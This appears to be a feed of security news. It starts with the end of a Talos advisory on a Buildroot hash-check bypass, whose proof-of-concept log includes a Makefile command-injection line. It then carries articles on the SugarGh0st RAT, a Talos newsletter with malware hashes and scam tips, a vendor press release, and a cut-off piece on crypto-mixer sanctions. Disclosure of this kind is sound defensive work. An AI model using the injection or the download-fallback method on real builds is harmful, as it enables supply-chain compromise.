    [8] if [ ${nb_checks} -eq 0 ]; then
    [9]     case " ${BR_NO_CHECK_HASH_FOR} " in
            *" ${base} "*)
                # File explicitly has no hash
                exit 0
                ;;
            esac
            printf "ERROR: No hash found for %s\n" "${base}" >&2
            exit 3
        fi
    

For each hash line in the .hash file, check_one_hash is called \[7\]. If the hash doesn’t match, check_one_hash will exit with an error code. Otherwise nb_checks is incremented to indicate one successful check. If there’s no entry in the .hash file for the specified input file to check, the check at \[8\] will return an error unless BR_NO_CHECK_HASH_FOR \[9\] contains this specific file, meaning that the file is excluded from hash checks.

In total, there are 3 ways for check-hash to return 0 (success):

1.  no .hash file exists for the package \[6\]
2.  the $file’s hash matches the definition in the .hash file \[7\]
3.  the $file is not present in the .hash file and BR_NO_CHECK_HASH_FOR contains the base name for the package (explicitly skipping checks) \[9\]

Option 2 is what we expect to reach most of the time.

In this advisory, we focus on Option 3. This seems to be commonly used to skip integrity checks for resources that can’t be easily hashed (for example, developement resources that change often). It is also used when building specific versions of a package, for which hashes may not be available in Buildroot’s sources.

For example, the Linux Kernel Buildroot Makefile (linux/linux.mk):

    ...
    ifeq ($(BR2_LINUX_KERNEL)$(BR2_LINUX_KERNEL_LATEST_VERSION),y)
        BR_NO_CHECK_HASH_FOR += $(LINUX_SOURCE)
    endif
    ...
    

If both BR2_LINUX_KERNEL and BR2_LINUX_KERNEL_LATEST_VERSION where enabled, the result of $(BR2_LINUX_KERNEL)$(BR2_LINUX_KERNEL_LATEST_VERSION) would be yy.  
So, the ifeq checks if BR2_LINUX_KERNEL_LATEST_VERSION is NOT selected, in which case it adds linux-<version>-br1.tar.gz to the BR_NO_CHECK_HASH_FOR variable.

This is, however, problematic in some setups. For example, consider this Buildroot minimal configuration:

    BR2_LINUX_KERNEL=y
    BR2_LINUX_KERNEL_CUSTOM_GIT=y
    BR2_LINUX_KERNEL_CUSTOM_REPO_URL="https://192.168.50.50"
    BR2_LINUX_KERNEL_CUSTOM_REPO_VERSION="123"
    

This defines a custom repository for fetching the Linux Kernel, so it may be important to only fetch the sources from that repository, for Linux specifically. This will work fine the majority of the time. However, if an attacker is able to drop connections towards 192.168.50.50, this will make the if condition at \[2\] fail, and the loop at \[1\] will perform the download using the next $uri. The next $uri is going to be http://sources.buildroot.net/linux/linux-123-br1.tar.gz, because of the default BR2_BACKUP_SITE variable. This will lead to downloading Linux Kernel sources via plain HTTP without performing any hash checks.

Since the Linux Kernel can ship patch files or Makefiles, by supplying a compromised source package, an attacker would be able to execute arbitrary commands in the builder. As a direct consequence, an attacker could then also tamper with any file generated for Buildroot’s targets and hosts.  
For example, it’s enough to provide a Makefile with the following command:

    _ := $(shell id >> /injected)
    

Or insert such a line in a .patch file, which would allow modification of any package within Buildroot during the build process.

**Exploit Proof of Concept**

This proof-of-concept assumes that an attacker is MITM-ing the network and dropping requests to 192.168.50.50, while at the same time serving any .tar.gz file requested via port 80 with a malicious version:

    $ make source
    /usr/bin/make -j1  O=/tmp/builddir HOSTCC="/usr/bin/gcc" HOSTCXX="/usr/bin/g++" syncconfig
    mkdir -p /tmp/builddir/build/buildroot-config/lxdialog
    PKG_CONFIG_PATH="" /usr/bin/make CC="/usr/bin/gcc" HOSTCC="/usr/bin/gcc" \
        obj=/tmp/builddir/build/buildroot-config -C support/kconfig -f Makefile.br conf
    /usr/bin/gcc -I/usr/include/ncursesw -DCURSES_LOC="<curses.h>"  -DNCURSES_WIDECHAR=1 -DLOCALE  -I/tmp/builddir/build/buildroot-config -DCONFIG_=\"\"  -MM *.c > /tmp/builddir/build/buildroot-config/.depend 2>/dev/null || :
    /usr/bin/gcc -I/usr/include/ncursesw -DCURSES_LOC="<curses.h>"  -DNCURSES_WIDECHAR=1 -DLOCALE  -I/tmp/builddir/build/buildroot-config -DCONFIG_=\"\"   -c conf.c -o /tmp/builddir/build/buildroot-config/conf.o
    /usr/bin/gcc -I/usr/include/ncursesw -DCURSES_LOC="<curses.h>"  -DNCURSES_WIDECHAR=1 -DLOCALE  -I/tmp/builddir/build/buildroot-config -DCONFIG_=\"\"  -I. -c /tmp/builddir/build/buildroot-config/zconf.tab.c -o /tmp/builddir/build/buildroot-config/zconf.tab.o
    /usr/bin/gcc -I/usr/include/ncursesw -DCURSES_LOC="<curses.h>"  -DNCURSES_WIDECHAR=1 -DLOCALE  -I/tmp/builddir/build/buildroot-config -DCONFIG_=\"\"   /tmp/builddir/build/buildroot-config/conf.o /tmp/builddir/build/buildroot-config/zconf.tab.o  -o /tmp/builddir/build/buildroot-config/conf
    rm /tmp/builddir/build/buildroot-config/zconf.tab.c
      GEN     /tmp/builddir/Makefile
    gcc-12.3.0.tar.xz: OK (sha512: 8fb799dfa2e5de5284edf8f821e3d40c2781e4c570f5adfdb1ca0671fcae3fb7f794ea783e80f01ec7bfbf912ca508e478bd749b2755c2c14e4055648146c204)
    gcc-12.3.0.tar.xz: OK (sha512: 8fb799dfa2e5de5284edf8f821e3d40c2781e4c570f5adfdb1ca0671fcae3fb7f794ea783e80f01ec7bfbf912ca508e478bd749b2755c2c14e4055648146c204)
    glibc-2.38-27-g750a45a783906a19591fb8ff6b7841470f1f5701.tar.gz: OK (sha256: fd991e43997ff6e4994264c3cbc23fa87fa28b1b3c446eda8fc2d1d3834a2cfb)
    bison-3.8.2.tar.xz: OK (sha256: 9bba0214ccf7f1079c5d59210045227bcf619519840ebfa80cd3849cff5a5bf2)
    m4-1.4.19.tar.xz: OK (sha256: 63aede5c6d33b6d9b13511cd0be2cac046f2e70fd0a07aa9573a04a82783af96)
    gawk-5.2.2.tar.xz: OK (sha256: 3c1fce1446b4cbee1cd273bd7ec64bc87d89f61537471cd3e05e33a965a250e9)
    gcc-12.3.0.tar.xz: OK (sha512: 8fb799dfa2e5de5284edf8f821e3d40c2781e4c570f5adfdb1ca0671fcae3fb7f794ea783e80f01ec7bfbf912ca508e478bd749b2755c2c14e4055648146c204)
    binutils-2.40.tar.xz: OK (sha512: a37e042523bc46494d99d5637c3f3d8f9956d9477b748b3b1f6d7dfbb8d968ed52c932e88a4e946c6f77b8f48f1e1b360ca54c3d298f17193f3b4963472f6925)
    gmp-6.3.0.tar.xz: OK (sha256: a3c2b80201b89e68616f4ad30bc66aee4927c3ce50e33929ca819d5c43538898)
    mpc-1.2.1.tar.gz: OK (sha256: 17503d2c395dfcf106b622dc142683c1199431d095367c6aacba6eec30340459)
    mpfr-4.1.1.tar.xz: OK (sha256: ffd195bd567dbaffc3b98b23fd00aad0537680c9896171e44fe3ff79e28ac33d)
    >>> linux-headers 123 Downloading
    GIT_DIR=/opt/buildroot/dl/linux/git/.git git init .
    hint: Using 'master' as the name for the initial branch. This default branch name
    hint: is subject to change. To configure the initial branch name to use in all
    hint: of your new repositories, which will suppress this warning, call:
    hint:
    hint:   git config --global init.defaultBranch <name>
    hint:
    hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and
    hint: 'development'. The just-created branch can be renamed via this command:
    hint:
    hint:   git branch -m <name>
    Initialized empty Git repository in /opt/buildroot/dl/linux/git/.git/
    GIT_DIR=/opt/buildroot/dl/linux/git/.git git remote add origin 'https://192.168.50.50'
    GIT_DIR=/opt/buildroot/dl/linux/git/.git git remote set-url origin 'https://192.168.50.50'
    Fetching all references
    GIT_DIR=/opt/buildroot/dl/linux/git/.git git fetch origin
    fatal: unable to access 'https://192.168.50.50/': Failed to connect to 192.168.50.50 port 443 after 0 ms: Connection refused
    Detected a corrupted git cache.
    Removing it and starting afresh.
    GIT_DIR=/opt/buildroot/dl/linux/git/.git git init .
    hint: Using 'master' as the name for the initial branch. This default branch name
    hint: is subject to change. To configure the initial branch name to use in all
    hint: of your new repositories, which will suppress this warning, call:
    hint:
    hint:   git config --global init.defaultBranch <name>
    hint:
    hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and
    hint: 'development'. The just-created branch can be renamed via this command:
    hint:
    hint:   git branch -m <name>
    Initialized empty Git repository in /opt/buildroot/dl/linux/git/.git/
    GIT_DIR=/opt/buildroot/dl/linux/git/.git git remote add origin 'https://192.168.50.50'
    GIT_DIR=/opt/buildroot/dl/linux/git/.git git remote set-url origin 'https://192.168.50.50'
    Fetching all references
    GIT_DIR=/opt/buildroot/dl/linux/git/.git git fetch origin
    fatal: unable to access 'https://192.168.50.50/': Failed to connect to 192.168.50.50 port 443 after 0 ms: Connection refused
    Detected a corrupted git cache.
    This is the second time in a row; bailing out
    wget --passive-ftp -nd -t 3 -O '/tmp/builddir/build/.linux-123-br1.tar.gz.OBKF3J/output' 'http://sources.buildroot.net/linux/linux-123-br1.tar.gz'
    --2023-10-11 16:16:26--  http://sources.buildroot.net/linux/linux-123-br1.tar.gz
    Resolving sources.buildroot.net (sources.buildroot.net)... 104.26.0.37, 172.67.72.56, 104.26.1.37
    Connecting to sources.buildroot.net (sources.buildroot.net)|104.26.0.37|:80... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: unspecified [application/x-xz]
    Saving to: '/tmp/builddir/build/.linux-123-br1.tar.gz.OBKF3J/output'
    
    /tmp/builddir/build/.linux-123-br1.tar.gz.OB     [ <=>                                                                                        ]     160  --.-KB/s    in 0s
    
    2023-10-11 16:16:26 (24.1 MB/s) - '/tmp/builddir/build/.linux-123-br1.tar.gz.OBKF3J/output' saved [160]
    
    busybox-1.36.1.tar.bz2: OK (sha256: b8cc24c9574d809e7279c3be349795c5d5ceb6fdf19ca709f80cde50e47de314)
    kmod-31.tar.xz: OK (sha256: f5a6949043cc72c001b728d8c218609c5a15f3c33d75614b78c79418fcf00d80)
    pkgconf-1.6.3.tar.xz: OK (sha256: 61f0b31b0d5ea0e862b454a80c170f57bad47879c0c42bd8de89200ff62ea210)
    patchelf-0.13.tar.bz2: OK (sha256: 4c7ed4bcfc1a114d6286e4a0d3c1a90db147a4c3adda1814ee0eee0f9ee917ed)
    flex-2.6.4.tar.gz: OK (sha256: e87aae032bf07c26f85ac0ed3250998c37621d95f8bd748b31f15b33c45ee995)
    autoconf-2.71.tar.xz: OK (sha256: f14c83cfebcc9427f2c3cea7258bd90df972d92eb26752da4ddad81c87a0faa4)
    libtool-2.4.6.tar.xz: OK (sha256: 7c87a8c2c8c0fc9cd5019e402bed4292462d00a718a7cd5f11218153bf28b26f)
    automake-1.16.5.tar.xz: OK (sha256: f01d58cd6d9d77fbdca9eb4bbd5ead1988228fdb73d6f7a201f5f8d6b118b469)
    gettext-tiny-0.3.2.tar.gz: OK (sha256: 29cc165e27e83d2bb3760118c2368eadab550830d962d758e51bd36eb860f383)
    gettext-0.22.2.tar.xz: OK (sha256: 4c82fbfe5e53d71a97c634aa98a898b9da807b08b27410f6a4641e8bb44dc4b2)
    

**TIMELINE**

2023-10-25 - Vendor Disclosure  
2023-12-04 - Vendor Patch Release  
2023-12-05 - Public Release

Discovered by Claudio Bozzato and Francesco Benvenuto of Cisco Talos.

CVE-2023-43608: TALOS-2023-1845 || Cisco Talos Intelligence Group

Project PowerUp is the story of how Cisco Talos worked with a multi-national, multi-company coalition of volunteers and experts to help “keep the lights on” in Ukraine, by injecting a measure of stability in Ukraine’s power transmission grid.

Project PowerUp – Helping to keep the lights on in Ukraine in the face of electronic warfare

PRESS RELEASE

San Francisco, CA — November 30, 2023 – Delinea, a leading provider of solutions that seamlessly extend Privileged Access Management (PAM), today announced new features for Secret Server to improve usability and increase PAM adoption across organizations. These enhancements optimize how privileged users interact with the vault through Web Password Filler and Connection Manager, while new capabilities within the Delinea Mobile app reduce friction and improve workflows for users while providing better privileged access controls. 79% of employees knowingly engage in risky behavior to get their jobs done, according to Delinea research about balancing risk, security and productivity. IT and security leaders need PAM solutions that are fast to deploy and easy to use so that controls are easy to adopt, leading to lower risk. An enterprise vault is the foundation for any PAM strategy, and Secret Server provides several options to access privileged credentials with minimal disruption to users’ current workflows, thus reducing barriers to adoption. 

   
Seamless security for all users accessing privileged credentials

Administrators and business users leveraging Web Password Filler (WPF) to access web applications gain improved visibility of available credentials stored in Secret Server with new built-in search functionality. Moreover, users enjoy facilitated access to credentials requiring checkout and comments directly from the browser without the need to toggle between screens. They also experience a simplified login with the option to autofill temporary one-time password (TOTP) codes.

     
"The latest updates provide seamless access for users while ensuring appropriate security and governance. and demonstrate our focus on streamlining workflows to fit the way security and business teams work," said Phil Calvin, Chief Product Officer at Delinea. "By removing complexity for all users accessing privileged accounts and managing active sessions, we make every organization leveraging Secret Server more secure." 

  
Enhancements to Connection Manager make it easier for users who launch remote sessions using vaulted credentials to quickly manage multiple privileged sessions without jeopardizing security or productivity. Administrators can respond to Multi-Factor Authentication (MFA) challenges enabled on individual secrets within the same Connection Manager window. Users can also extend their credential checkout rights directly in Connection Manager, reducing the need to move between screens and applications.

  
The Delinea Mobile app now includes updates that augment ease of use in support of administrators' need to access, manage, and secure privileged accounts from anywhere. Among them are unlock options, the ability to generate passwords, and readability improvements that streamline workflows and increase productivity while ensuring secure access to vaulted credentials.

You May Also Like

The Latest Delinea Secret Server Release Boosts Usability With New Features

A suspected Chinese-speaking threat actor has been attributed to a malicious campaign that targets the Uzbekistan Ministry of Foreign Affairs and South Korean users with a remote access trojan called SugarGh0st RAT.
The activity, which commenced no later than August 2023, leverages two different infection sequences to deliver the malware, which is a customized variant of Gh0st RAT

Malware / Cyber Espionage

A suspected Chinese-speaking threat actor has been attributed to a malicious campaign that targets the Uzbekistan Ministry of Foreign Affairs and South Korean users with a remote access trojan called **SugarGh0st RAT**.

The activity, which commenced no later than August 2023, leverages two different infection sequences to deliver the malware, which is a customized variant of Gh0st RAT (aka Farfli).

It comes with features to "facilitate the remote administration tasks as directed by the C2 and modified communication protocol based on the similarity of the command structure and the strings used in the code," Cisco Talos researchers Ashley Shen and Chetan Raghuprasad said.

The attacks commence with a phishing email bearing decoy documents, opening which activates a multi-stage process that leads to the deployment of SugarGh0st RAT.

The decoy documents are incorporated within a heavily obfuscated JavaScript dropper that's contained within a Windows Shortcut file embedded in the RAR archive email attachment.

"The JavaScript decodes and drops the embedded files into the %TEMP% folder, including a batch script, a customized DLL loader, an encrypted SugarGh0st payload, and a decoy document," the researchers said.

The decoy document is then displayed to the victim, while, in the background, the batch script runs the DLL loader, which, in turn, side-loads it with a copied version of a legitimate Windows executable called rundll32.exe to decrypt and launch the SugarGh0st payload.

A second variant of the attack also begins with a RAR archive containing a malicious Windows Shortcut file that masquerades as a lure, with the difference being that the JavaScript leverages DynamicWrapperX to run shellcode that launches SugarGh0st.

SugarGh0st, a 32-bit dynamic-link library (DLL) written in C++, establishes contact with a hard-coded command-and-control (C2) domain, allowing it to transmit system metadata to the server, launch a reverse shell, and run arbitrary commands.

It can also enumerate and terminate processes, take screenshots, perform file operations, and even clear the machine's event logs in an attempt to cover its tracks and evade detection.

The campaign's links to China stem from Gh0st RAT's Chinese origins and the fact that the fully functional backdoor has been widely adopted by Chinese threat actors over the years, in part driven by the release of its source code in 2008. Another smoking gun evidence is the use of Chinese names in the "last modified by" field in the metadata of the decoy files.

"The Gh0st RAT malware is a mainstay in the Chinese threat actors' arsenal and has been active since at least 2008," the researchers said.

"Chinese actors also have a history of targeting Uzbekistan. The targeting of the Uzbekistan Ministry of Foreign Affairs also aligns with the scope of Chinese intelligence activity abroad."

The development comes as Chinese state-sponsored groups have also increasingly targeted Taiwan in the last six months, with the attackers repurposing residential routers to mask their intrusions, according to Google.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Chinese Hackers Using SugarGh0st RAT to Target South Korea and Uzbekistan

A decade and a half after Gh0st RAT first appeared, the "SugarGh0st RAT" variant aims to make life sweeter for cybercriminals.

Source: Niday Picture Library via Alamy Stock Photo

A new variant of the infamous "Gh0st RAT" malware has been identified in recent attacks targeting South Koreans and the Ministry of Foreign Affairs in Uzbekistan.

The Chinese group "C.Rufus Security Team" first released Gh0st RAT on the open Web in March 2008. Remarkably, it's still in use today, particularly in and around China, albeit in modified forms.

Since late August, for instance, a group with strong Chinese links has been distributing a modified Gh0st RAT deemed "SugarGh0st RAT." According to research from Cisco Talos, this threat actor drops the variant via JavaScript-laced Windows shortcuts, while distracting targets with customized decoy documents.

The malware itself is still largely the same, effective tool it's ever been, though it now sports some new decals to help sneak past antivirus software.

**SugarGh0st RAT's Traps**

The four samples of SugarGh0st, likely delivered via phishing, arrive on targeted machines as archives embedded with Windows LNK shortcut files. The LNKs hide malicious JavaScript which, upon opening, drops a decoy document — targeted for Korean or Uzbek government audiences — and the payload.

Like its progenitor — the Chinese origin remote access Trojan, first released to the public in March 2008 — SugarGh0st is a clean, multitooled espionage machine. A 32-bit dynamic link library (DLL) written in C++, it begins by collecting system data, then opens up the door to full remote access capabilities.

Attackers can use SugarGh0st to retrieve any information they might desire about their compromised machine, or start, terminate, or delete the processes it's running. They can use it to find, exfiltrate, and delete files, and erase any event logs to mask the resulting forensic evidence. The backdoor comes fitted with a keylogger, a screenshotter, a means of accessing the device's camera, and plenty of other useful functions for manipulating the mouse, performing native Windows operation, or simply running arbitrary commands.

"The thing that's most concerning to me is how it's specifically designed to evade previous detection methods," says Nick Biasini, Cisco Talos' head of outreach. With this new variant, specifically, "they took effort to do things that would change the way that core detection would work."

It isn't that SugarGh0st has any particularly novel evasion mechanisms. Rather, minor aesthetic changes make it appear different from prior variants, such as changing the command-and-control (C2) communication protocol such that instead of 5 bytes, the network packet headers reserve the first 8 bytes as magic bytes (a list of file signatures, used to confirm a file's contents). "It's just a very effective way to try and make sure that your existing security tooling isn't going to pick up on this right away," Biasini says.

**Gh0st RAT's Old Haunts**

Back in September 2008, the office of the Dalai Lama approached a security researcher (no, this isn't the beginning of a bad joke).

Its employees were being peppered with phishing emails. Microsoft applications were crashing, without explanation, across the organization. One monk recalled watching his computer open Microsoft Outlook all on its own, attach documents to an email, and send that email to an unrecognized address, all without his input.

A Gh0st RAT beta model's English-language UI. Source: Trend Micro EU via Wayback Machine

The Trojan used in that Chinese military-linked campaign against Tibetan monks has stood the test of time, Biasini says, for a few reasons.

"Open source malware families live long because actors get a fully functional piece of malware that they can manipulate as they see fit. It also allows people who don't know how to write malware to leverage this stuff for free," he explains.

Gh0st RAT, he adds, stands out in particular as "a very functional, very well-built RAT."

**About the Author(s)**

Nate Nelson is a freelance writer based in New York City. Formerly a reporter at Threatpost, he contributes to a number of cybersecurity blogs and podcasts. He writes "Malicious Life" -- an award-winning Top 20 tech podcast on Apple and Spotify -- and hosts every other episode, featuring interviews with leading voices in security. He also co-hosts "The Industrial Security Podcast," the most popular show in its field.

A New, Spookier Gh0st RAT Malware Haunts Global Cyber Targets

Fake Facebook ads seem to be the flavor of the month for scammers.

Thursday, November 30, 2023 14:00

I know I’m a little late to the party to hit the prime SEO for Black Friday, Cyber Monday and holiday shopping. But if I know the readers of this newsletter, everyone is far from done with their holiday shopping already after a few days. 

I also know I’m far from the only person to warn consumers about scams during this season, so I’m trying to split the difference and highlight a few specific scams and spam campaigns that are already circulating in the wild, some of which popped up right on Black Friday, so you don’t get caught in the remaining days leading up to the winter holidays. 

Fake Facebook ads seem to be the flavor of the month for scammers. This is completely anecdotal, but my mom almost got “got” with a fake Facebook post in a group she belongs to claiming to have some great deals on Nintendo Switch games on Amazon that were not actually real (thankfully she hadn’t clicked the link before she asked me if “Mario Odyssey” was a good deal at $15).  

Still, several other reports have shown that scammers are using Facebook ads to advertise a deal for a $19 Stanley cup — these are the water bottles all the influencers are using nowadays and, even when they are on sale, don’t go for any less than about $35. In this case, it looks like the actors are just looking to take your money or credit card information with a fake ordering process and no plans to send you anything. 

Adversaries have also set up fake Facebook pages and web pages disguising themselves as the retailer Big Lots. These fake ads and posts offer vague deals and sales on various products but instead point to typo-squatted Big Lots websites (or URLs that vaguely seem like they could be connected to Big Lots).  

Scammers are also sending mass emails to subscribers of various streaming services like Amazon Prime, Paramount+ and Peacock claiming that their subscription has lapsed, but they can resubscribe for a deeply discounted price, or even free, as part of a Black Friday special.  

Amazon also issued a warning recently that attackers have been sending emails with malicious attachments asking for users' personal information in exchange for having their “accounts” unlocked. 

This is just a sampling of the likely hundreds of different scams and spam campaigns attackers are deploying right now, so in general, when shopping online, here are a few tips: 

*   Only download apps from trusted and official app stores like the Google Play store and iOS App Store. 
*   Look out for apps that ask for suspicious permissions, such as access to your text messages, contacts, stored passwords and administrative features. 
*   Some malicious apps will try to masquerade as a legitimate version of the one you could be searching for. Signs of these apps include poor spelling and grammar in app descriptions and interfaces, lack of high-quality performance and a developer contact that uses a free email service (such as @gmail.com). 
*   Avoid clicking on unsolicited emails. Make sure you purposefully subscribed to any marketing emails you receive from retailers before opening it. 
*   Use an ad blocker locally on your browser. These will often block any malvertising campaigns that aim to capitalize on shoppers looking for deals. 
*   Try to use payment services such as Google Pay, Samsung Pay and Apple Pay. These services use tokenization instead of the “Primary Account Number” (your credit card number), making your transaction more secure. 
*   Use unique, complex passwords, per site. Attackers commonly reuse passwords to compromise multiple accounts with the same username. Use a password locker if you have a hard time creating and remembering secure passwords. 
*   Manually type in URLs to sites you want to visit rather than clicking on links. 
*   Use multi-factor authentication, such as Cisco Duo, to log into your email account to avoid unauthorized access. 

Next week, Talos will have a holiday special of our own! On Dec. 5, we’ll be launching our second-ever Year in Review report, complete with all new data and insights about the attacks and malware we’ve seen in 2023. Stay tuned to our social media channels or blog for that release.  

**The one big thing **

Cisco Talos recently discovered a malicious campaign that likely started as early as August 2023, delivering a new remote access trojan (RAT) we dubbed “SugarGh0st.” We assess with high confidence that the SugarGh0st RAT is a new customized variant of Gh0st RAT, an infamous trojan that’s been active for more than a decade, with customized commands to facilitate the remote administration tasks as directed by the C2 and modified communication protocol based on the similarity of the command structure and the strings used in the code. 

**Why do I care? **

If infected, SugarGh0st serves as a fully functional backdoor for the adversary that can execute most remote-control functionalities. It can launch the reverse shell and run the arbitrary commands sent from C2 as strings using the command shell. SugarGh0st can collect the victim’s machine hostname, filesystem, logical drive, and operating system information. It can access the running process information of the victim’s machine and control the environment by accessing the process information and terminating the process as directed by the C2 server. It can also manage the machine’s service manager by accessing the configuration files of the running services and can start, terminate or delete the services. 

**So now what? **

Since this seems to be an offshoot of GhostRAT, we certainly can’t rule out any other variants that may be floating out there. Talos also has new ClamAV signatures, Snort rules and other Cisco Secure protection to specifically detect and stop SugarGh0st.  

**Top security headlines of the week **

**Cisco Talos and other teams across Cisco recently worked with multiple government partners to help protect the Ukrainian power grid and ensure it runs appropriately.** The effort, spearheaded by Talos’ Joe Marshall, involved creating bespoke hardware for Ukraine’s energy supplier, Ukrenergo, to operate in place of traditional GPS devices that the Ukrainian power grid relies on to keep running on time. GPS satellites and Ukrainian substations have constantly been the target of kinetic and cyber threats during Russia’s invasion of Ukraine. Officials from multiple U.S. government agencies assisted in the project.  The Pentagon set up flights to physically deliver the manipulated switches, the Department of Energy helped coordinate the equipment’s delivery, and, as Ukrenergo told CNN, the Department of Commerce was a part of critical meetings that first outlined this project. Taras Vasyliv, who oversees power dispatching for Ukrenergo, told CNN that the custom-built switches were the equivalent of a “flashlight” for a surgeon who is trying to operate in the dark. (CNN, Business Insider) 

**Leaked government documents show that some local, federal and state law enforcement officers have been able to view the phone records of millions of Americans,** even those who have not been accused or suspected of a crime. The little-known Pentagon program was partially uncovered because of a letter sent from U.S. Sen. Ron Wyden of Oregon to U.S. Attorney General Merrick Garland, in Wyden’s office requested more information on the project and encouraged the federal government to publicly disclose this knowledge. The letter states the White House pays wireless company AT&T to give all federal, state, local, and Tribal law enforcement agencies “the ability to request often-warrantless searches.” Known as the “Hemisphere Project,” this program has apparently been around since 2007 and reported on by the New York Times in 2013 but has largely gone unnoticed since. Wyden is attempting to challenge the legality of the Hemisphere Project. (Wired) 

**Security researchers have found a way to bypass the Microsoft Hello login authentication system** used in many fingerprint readers and face ID scanners on devices from Dell, Lenovo and Microsoft. Researchers hired by Microsoft to test the security of the readers have since informed the company of these vulnerabilities. The attack the researchers outlined could provide access to a stolen laptop or carry out what's called an “evil maid” attack on an unattended device. Microsoft introduced Hello with its Windows 10 operating system, and since then has included fingerprint scanners on all its devices (though in some cases, Microsoft’s own hardware like the Surface tablet did not use Hello). Though the manufacturers are now aware of these vulnerabilities, the variety of attacks means it can be difficult to patch for these issues. However, all the attacks ultimately required physical access to a device. (Ars Technica, The Verge) 

**Can’t get enough Talos? **

*   Tech giant Cisco built special device to help Kyiv ward off cyberattacks on power grid 
*   Cisco whips up modded switch to secure Ukraine grid against Russian cyberattacks 
*   Talos Takes Ep. #163: Why has the Phobos ransomware been working for so long? 
*   The Need to Know: What is threat hunting? 
*   Vulnerability Roundup: Vulnerabilities in Adobe Acrobat, Microsoft Excel could lead to arbitrary code execution 

**Upcoming events where you can find Talos **

**"Power of the Platform” by Cisco** **(Dec. 5 & 7)** 

Virtual (Please note: This presentation will only be given in German) 

> _The annual IT event at the end of the year where Cisco experts, including Gergana Karadzhova-Dangela from Cisco Talos Incident Response, discuss the future-oriented topics in the implementation of digitalization together with you._  

**What Threats Kept Us Up in 2023: A Year in Review and a Look Ahead** **(Dec. 13, 11 a.m. PT)** 

Virtual 

> _Each year brings new threats that take advantage of increasingly complex security environments. Whether it’s Volt Typhoon targeting critical infrastructure organizations across the United States or ALPHV launching an attack against casino giant MGM, threat actors are becoming bolder and more evasive. That’s why it’s never been more important to leverage broad telemetry sources, deep network insights and threat intelligence to respond effectively and recover faster from sophisticated attacks. Join Amy Henderson, Director of Strategic Planning and Communications at Cisco Talos and Briana Farro, Director of XDR Product Management at Cisco, as they discuss some of the top threat trends and threats we have seen this past year and how to leverage security technology like XDR and network insights to fight against them._ 

**NIS2 Directive: Why Organizations Must Act Now to Ensure Compliance and Security** **(Jan. 11, 2024, 10 a.m. GMT)** 

Virtual 

> _The NIS2 Directive is a crucial step toward securing Europe’s critical infrastructure and essential services in an increasingly interconnected world. Organizations must act now to prepare for the new requirements, safeguard their operations, and maintain a robust cybersecurity posture. Gergana Karadzhova-Dangela from Cisco Talos Incident Response and other Cisco experts will talk about how organizations can best prepare for the coming regulations._  

**Most prevalent malware files from Talos telemetry over the past week **

**SHA 256:** 8664e2f59077c58ac12e747da09d2810fd5ca611f56c0c900578bf750cab56b7    
**MD5:** 0e4c49327e3be816022a233f844a5731    
**Typical Filename:** aact.exe    
**Claimed Product:** AAct x86    
**Detection Name:** PUA.Win.Tool.Kmsauto::in03.talos 

**SHA 256:** 77c2372364b6dd56bc787fda46e6f4240aaa0353ead1e3071224d454038a545e   
**MD5:** 040cd888e971f2872d6d5dafd52e6194   
**Typical Filename:** streamer.exe   
**Claimed Product:** Ultra Virus Killer   
**Detection Name:** PUA.Win.Virus.Ultra::95.sbx.tg 

**SHA 256:** abaa1b89dca9655410f61d64de25990972db95d28738fc93bb7a8a69b347a6a6   
**MD5:** 22ae85259273bc4ea419584293eda886   
**Typical Filename:** KMSAuto++ x64.exe   
**Claimed Product:** KMSAuto++   
**Detection Name:** Hacktool:PUP.26ld.in14.Talos 

**SHA 256:** 77c2372364b6dd56bc787fda46e6f4240aaa0353ead1e3071224d454038a545e   
**MD5:** 040cd888e971f2872d6d5dafd52e6194   
**Typical Filename:** tmp000c3787   
**Claimed Product:** Ultra Virus Killer   
**Detection Name:** PUA.Win.Virus.Ultra::95.sbx.tg 

**SHA 256:** 975517668a3fe020f1dbb1caafde7180fd9216dcbf0ea147675ec287287f86aa   
**MD5:** 9403425a34e0c78a919681a09e5c16da   
**Typical Filename:** vincpsarzh.exe   
**Claimed Product:** N/A   
**Detection Name:** Win.Dropper.Scar::tpd

$19 Stanely cups, fake Amazon Prime memberships all part of holiday shopping scams circulating

The prolific threat actor has laundered hundreds of millions of dollars in stolen virtual currency through the service.

Source: Yogesh More via Alamy Stock Photo

In its continued efforts to crack down on North Korea's most formidable state-sponsored threat group, the US government has seized a virtual currency mixer that has been serving as the principal way the group launders money stolen from its cybercriminal activity.

The US Treasury Department's Office of Foreign Assets Control (OFAC) sanctioned Sinbad.io, or just Sinbad, a crypto-mixing service that the feds said has processed millions of dollars worth of virtual currency from crypto heists by the Lazarus Group, according to a press release from OFAC.

As a result of the action, all Sinbad property and interests in property in the US or controlled by anyone in the US must be blocked and reported to OFAC, and people in the US are prohibited from having any involvement with the service. Further, anyone who engages in transactions with the service also may be exposed to sanctions.  

Crypto mixing — a technique that uses pools of cryptocurrency to complicate the tracking of electronic transactions — is a popular service tapped by cybercriminals to obscure their illegal transactions. In the case of Lazarus, the group used Sinbad to launder crypto from various malicious incidents, including the Horizon Bridge and Axie Infinity heist, the government said.

The prolific threat actor is well known for conducting cyberattacks on behalf of the regime of North Korea's leader, Kim Jong Un, engaging in widespread crypto theft through various cyberattacks — including targeting crypto engineers or using compromised systems to mine crypto — to fund government activities, among other endeavors. The US government officially sanctioned Lazarus in 2019, effectively making it a crime to do any kind of business with the group or its associates.

**Crackdown on Crypto Mixing**

Other cybercriminal groups also use Sinbad to keep various illegal financial activities such as drug trafficking, buying child pornography, and other Dark Web transactions away from the prying eyes of law enforcement. However, global authorities have caught on to the use of crypto mixers and are now starting to monitor and block the activity.

In March, an international law enforcement effort led by the US Department of Justice (DoJ) led to the shuttering another known crypto-mixing service, ChipMixer. Then in May and earlier this month, respectively, the feds also seized one crypto mixer, Blender.io (Blender), and redesignated another, Tornado Cash — both known to be used by Lazarus, they said.

OFAC in April also sanctioned two over-the-counter virtual currency traders who facilitated the conversion of stolen virtual currency to fiat currency for North Korean actors associated with Lazarus.

“While we encourage responsible innovation in the digital asset ecosystem, we will not hesitate to take action against illicit actors," said Deputy Secretary of the Treasury Wally Adeyemo, in a statement. "Mixing services that enable criminal actors, such as the Lazarus Group, to launder stolen assets will face serious consequences.”

**Crypto Mixer of Choice**

